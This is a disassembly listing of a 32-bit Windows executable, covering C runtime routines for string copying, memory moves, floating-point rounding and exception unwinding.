loc_41C944: ; CODE XREF: sub_41C880+E4j
; sub_41C880+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C91C
loc_41C94C: ; CODE XREF: sub_41C880+7Cj
; sub_41C880+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C944
test dl, dl
jz short loc_41C93A
test dh, dh
jz short loc_41C998
test edx, 0FF0000h
jz short loc_41C988
test edx, 0FF000000h
jnz short loc_41C944
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C988: ; CODE XREF: sub_41C880+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C998: ; CODE XREF: sub_41C880+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9B0 proc far ; CODE XREF: sub_40BEB3+15p
; sub_40BEB3+3Bp ...
arg_FFFFFFFC = dword ptr 8
arg_0 = dword ptr 0Ch
arg_4 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov edi, [ebp+arg_FFFFFFFC]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C9D0
cmp edi, eax
jb loc_41CB48
loc_41C9D0: ; CODE XREF: sub_41C9B0+16j
test edi, 3
jnz short loc_41C9EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
loc_41C9EC: ; CODE XREF: sub_41C9B0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CA04
and eax, 3
add ecx, eax
jmp dword ptr loc_41CA0C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CA04: ; CODE XREF: sub_41C9B0+46j
jmp dword ptr loc_41CB08[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CA0C: ; CODE XREF: sub_41C9B0+31j
; sub_41C9B0+8Ej ...
jmp off_41CA8C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CA20
dd offset loc_41CA4C
dd offset loc_41CA70
; ---------------------------------------------------------------------------
loc_41CA20: ; DATA XREF: sub_41C9B0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CA4C: ; DATA XREF: sub_41C9B0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CA70: ; DATA XREF: sub_41C9B0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CA8C dd offset loc_41CAEF ; DATA XREF: sub_41C9B0:loc_41CA0Cr
dd offset loc_41CADC
dd offset loc_41CAD4
dd offset loc_41CACC
dd offset loc_41CAC4
dd offset loc_41CABC
dd offset loc_41CAB4
dd offset loc_41CAAC
; ---------------------------------------------------------------------------
loc_41CAAC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CAB4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CABC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CAC4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CACC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CAD4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CADC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CAEF: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0:off_41CA8Co
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CAF8 dd offset loc_41CB08 ; DATA XREF: sub_41C9B0+35r
; sub_41C9B0+92r ...
dd offset loc_41CB10
dd offset loc_41CB1C
dd offset loc_41CB30
; ---------------------------------------------------------------------------
loc_41CB08: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CB10: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CB1C: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CB30: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CB48: ; CODE XREF: sub_41C9B0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CB7C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CB70: ; CODE XREF: sub_41C9B0+1B1j
; sub_41C9B0+208j ...
neg ecx
jmp off_41CC40[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CB7C: ; CODE XREF: sub_41C9B0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CB94
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CB94+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CB94: ; CODE XREF: sub_41C9B0+1D6j
; DATA XREF: sub_41C9B0+1DDr
jmp off_41CC90[ecx*4]
; ---------------------------------------------------------------------------
align 4
test al, 0CBh
inc ecx
add al, cl
retf
; ---------------------------------------------------------------------------
inc ecx
add al, dh
retf
; ---------------------------------------------------------------------------
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CC44
dd offset loc_41CC4C
dd offset loc_41CC54
dd offset loc_41CC5C
dd offset loc_41CC64
dd offset loc_41CC6C
dd offset loc_41CC74
off_41CC40 dd offset loc_41CC87 ; DATA XREF: sub_41C9B0+1C2r
; ---------------------------------------------------------------------------
loc_41CC44: ; DATA XREF: sub_41C9B0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CC4C: ; DATA XREF: sub_41C9B0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CC54: ; DATA XREF: sub_41C9B0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CC5C: ; DATA XREF: sub_41C9B0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CC64: ; DATA XREF: sub_41C9B0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CC6C: ; DATA XREF: sub_41C9B0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CC74: ; DATA XREF: sub_41C9B0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CC87: ; CODE XREF: sub_41C9B0+1C2j
; DATA XREF: sub_41C9B0:off_41CC40o
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CC90 dd offset loc_41CCA0 ; DATA XREF: sub_41C9B0+1B7r
; sub_41C9B0:loc_41CB94r ...
dd offset loc_41CCA8
dd offset loc_41CCB8
dd offset loc_41CCCC
; ---------------------------------------------------------------------------
loc_41CCA0: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CCA8: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CCB8: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CCCC: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
sub_41C9B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE5 proc near ; CODE XREF: sub_40BEFB+40p
; sub_40F168+257p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B890
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420375
add esp, 10h
leave
retn
sub_41CCE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CD19(double)
sub_41CD19 proc near ; CODE XREF: sub_40CF3C+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_442520
call sub_42164E
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CD9F
call sub_421516
pop ecx
test eax, eax
pop ecx
jle short loc_41CD82
cmp eax, 2
jle short loc_41CD74
cmp eax, 3
jnz short loc_41CD82
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420E26
add esp, 10h
jmp short loc_41CDE4
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD19+3Fj
push esi
push ebx
call sub_42164E
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CDE4
; ---------------------------------------------------------------------------
loc_41CD82: ; CODE XREF: sub_41CD19+3Aj
; sub_41CD19+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41CDDC
; ---------------------------------------------------------------------------
loc_41CD9F: ; CODE XREF: sub_41CD19+2Fj
call sub_4214DB
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CDC2
loc_41CDB4: ; CODE XREF: sub_41CD19+ACj
push esi
push ebx
call sub_42164E
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CDE4
; ---------------------------------------------------------------------------
loc_41CDC2: ; CODE XREF: sub_41CD19+99j
test bl, 20h
jnz short loc_41CDB4
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41CDDC: ; CODE XREF: sub_41CD19+84j
call sub_420E79
add esp, 1Ch
loc_41CDE4: ; CODE XREF: sub_41CD19+59j
; sub_41CD19+67j ...
pop esi
pop ebx
leave
retn
sub_41CD19 endp
; =============== S U B R O U T I N E =======================================
sub_41CDE8 proc near ; CODE XREF: sub_41BE34+9p
; sub_421717+21p
; DATA XREF: ...
call sub_41CE00
call sub_421717
mov dword_4E154C, eax
call sub_4216C7
fnclex
retn
sub_41CDE8 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41CE00 proc near ; CODE XREF: sub_41CDE8p
mov eax, offset sub_421B05
mov off_442B0C, offset loc_42179A
mov off_442B08, eax
mov off_442B10, offset sub_421800
mov off_442B14, offset sub_421740
mov off_442B18, offset loc_4217E8
mov off_442B1C, eax
retn
sub_41CE00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE38 proc near ; CODE XREF: sub_40CF3C+1Bp
; sub_40CF3C+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41CE38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CE5F(double)
sub_41CE5F proc near ; CODE XREF: sub_40CF88+82p
; .nsp0:0040DF8Cp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_442538
call sub_42164E
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CEE5
call sub_421516
pop ecx
test eax, eax
pop ecx
jle short loc_41CEC8
cmp eax, 2
jle short loc_41CEBA
cmp eax, 3
jnz short loc_41CEC8
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420E26
add esp, 10h
jmp short loc_41CF2A
; ---------------------------------------------------------------------------
loc_41CEBA: ; CODE XREF: sub_41CE5F+3Fj
push esi
push ebx
call sub_42164E
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CF2A
; ---------------------------------------------------------------------------
loc_41CEC8: ; CODE XREF: sub_41CE5F+3Aj
; sub_41CE5F+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41CF22
; ---------------------------------------------------------------------------
loc_41CEE5: ; CODE XREF: sub_41CE5F+2Fj
call sub_4214DB
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CF08
loc_41CEFA: ; CODE XREF: sub_41CE5F+ACj
push esi
push ebx
call sub_42164E
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CF2A
; ---------------------------------------------------------------------------
loc_41CF08: ; CODE XREF: sub_41CE5F+99j
test bl, 20h
jnz short loc_41CEFA
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41CF22: ; CODE XREF: sub_41CE5F+84j
call sub_420E79
add esp, 1Ch
loc_41CF2A: ; CODE XREF: sub_41CE5F+59j
; sub_41CE5F+67j ...
pop esi
pop ebx
leave
retn
sub_41CE5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF2E proc near ; CODE XREF: sub_421F76+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41CF2E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41CF62 proc near ; CODE XREF: sub_422127+199p
; sub_4222EB+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41CF62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CF69 proc near ; CODE XREF: sub_422127+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41CF69 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF70 proc near ; CODE XREF: sub_41D122+5Cp
; sub_421F76:loc_421FA7p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41CF98
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_4265EE ; RtlUnwind
loc_41CF98: ; DATA XREF: sub_41CF70+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41CF70 endp
; ---------------------------------------------------------------------------
loc_41CFBF: ; CODE XREF: .nsp0:00426C90j
; .nsp0:00426CADj ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421B7B
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CFF5 proc near ; CODE XREF: sub_421FF1+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D049
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422380
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41CFF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D049 proc near ; DATA XREF: sub_41CFF5+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421B7B
add esp, 20h
pop ebp
retn
sub_41D049 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D06E proc near ; CODE XREF: sub_421DBD+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D122
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D0F4
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4E15A0
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D0F4: ; DATA XREF: sub_41D06E+3Co
cmp [ebp+var_4], 0
jz short loc_41D111
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D11A
; ---------------------------------------------------------------------------
loc_41D111: ; CODE XREF: sub_41D06E+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D11A: ; CODE XREF: sub_41D06E+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D06E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D122 proc near ; DATA XREF: sub_41D06E+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D145
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D192
; ---------------------------------------------------------------------------
loc_41D145: ; CODE XREF: sub_41D122+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421B7B
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D183
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CF70
loc_41D183: ; CODE XREF: sub_41D122+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D192: ; CODE XREF: sub_41D122+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D122 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D197 proc near ; CODE XREF: sub_421C16+C6p
; sub_421DBD+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D1EE
loc_41D1B5: ; CODE XREF: sub_41D197+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D1BF
call sub_422422
loc_41D1BF: ; CODE XREF: sub_41D197+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D1D4
cmp ecx, [eax+8]
jle short loc_41D1D9
loc_41D1D4: ; CODE XREF: sub_41D197+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D1E5
loc_41D1D9: ; CODE XREF: sub_41D197+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D1E5: ; CODE XREF: sub_41D197+40j
cmp [ebp+arg_4], 0
jge short loc_41D1B5
mov eax, [ebp+var_4]
loc_41D1EE: ; CODE XREF: sub_41D197+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D202
cmp esi, eax
jbe short loc_41D207
loc_41D202: ; CODE XREF: sub_41D197+65j
call sub_422422
loc_41D207: ; CODE XREF: sub_41D197+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D197 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D214 proc near ; CODE XREF: sub_4233D4+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D22C
push [ebp+arg_0]
call sub_4265EE ; RtlUnwind
loc_41D22C: ; DATA XREF: sub_41D214+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D214 endp
; =============== S U B R O U T I N E =======================================
sub_41D234 proc near ; DATA XREF: sub_41D256+Ao
; sub_41D2BE+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D255
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D255: ; CODE XREF: sub_41D234+10j
retn
sub_41D234 endp
; =============== S U B R O U T I N E =======================================
sub_41D256 proc near ; CODE XREF: sub_422097+Dp
; sub_4233D4+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D234
push large dword ptr fs:0
mov large fs:0, esp
loc_41D273: ; CODE XREF: sub_41D256:loc_41D2AEj
